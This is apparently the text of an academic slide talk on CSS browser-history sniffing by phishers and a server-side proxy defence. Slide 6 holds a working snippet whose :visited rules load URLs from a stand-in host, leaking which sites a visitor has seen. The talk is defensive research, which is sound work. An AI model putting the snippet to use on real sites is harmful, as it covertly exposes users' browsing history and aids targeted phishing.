1. Invasive Browser Sniffing and Countermeasures
Markus Jakobsson
Sid Stamm
Phishing overview
Symantec says phishing attacks up by 81 per cent in first half of 2006
The main goal of attacks is to secure confidential information like passwords, login information,ﾊand addresses to be able to meddle in peopleﾕs financial affairs
# sites (recorded by apwg) in july 2006: 14191

2. His wife
Hurry up!
His bank
His conscience

3. He performed such a transaction
ACH transfer … nice for phisher!

4. First things first: How does the phisher know his wife’s name?
Jagatic, Johnson, Jakobsson, Menczer, “Social Phishing”, To appear in CACM, available at

5. And then: How does the phisher know where he has been?
What you see:
The Code:
<style>
a { color: blue; }
#id1:visited { color: red; }
#id2:visited { color: red; }
#id3:visited { color: red; }
</style>
<a id=id1 href=“x.com”>Link 1</a>
<a id=id2 href=“y.com”>Link 2</a>
<a id=id3 href=“z.com”>Link 3</a>
Link 1
Link 2
Link 3

6. And then: How does the phisher know where he has been?
Not visible:
The Code:
<style>
a { color: blue; }
#id1:visited {
background: url(‘e.com/?id=1’); }
#id2:visited {
background: url(‘e.com/?id=2’); …
</style>
<a id=id1 href=“x.com”></a>
<a id=id2 href=“y.com”></a>
<a id=id3 href=“z.com”></a>
Link 1
Link 2
Link 3

7. Architecture of this attack?
Attack is as old as Feb. 2002:
Reported recently at Open Web Application Security Project OWASP (9/21/2006) by Jeremiah Grossman (from WhiteHat Security)

8. Connecting to email address
GET
(lots of links)
Phisher can now associate Alice with link 1 and 42
GET
Additionally, address can be obtained through the auto-fill field extraction (see Fil’s riddle site)
GET

9. Try it? Try it on a friend?
browser-recon.info

10. Where can this be stopped?
User paranoia (clear all)
Our approach
Jackson, Bortz, Boneh, Mitchell

11. Server-side defense against browser sniffing
Principle I: Avoid correct guesses!
Principle II: Cause false positives!
add wamu.com, citi.com, etc etc.
Entry point pollution consists of all entry points (the anonymity set).
• POLLUTION DOES NOT require effort by client, can be done behind-the-scenes

12. Server-side defense against browser sniffing
Principle I: Avoid correct guesses!
But what about the portal?
Principle II: Cause false positives!
But what if they are all stigmatizing?

13. Translating Proxy T SB GET /?13fc021b ST GET / C Domain of S
Now we implement a “Layer” on top of the server, called a Translator.
IDEALLY: the two would be on one computer communicating via Loopback interface or other mechanism.
WHY: so S_B doesn’t have to change, prevent site programming mistakes, etc C
Domain of S

14. Experimental data

15. What I have not mentioned
How do we deal with robot policies?
What about search engines, proxies?
How do we select false positives?
What about links to off-site data?
How do we handle bookmarks?
What does the prototype do?
Please see the paper!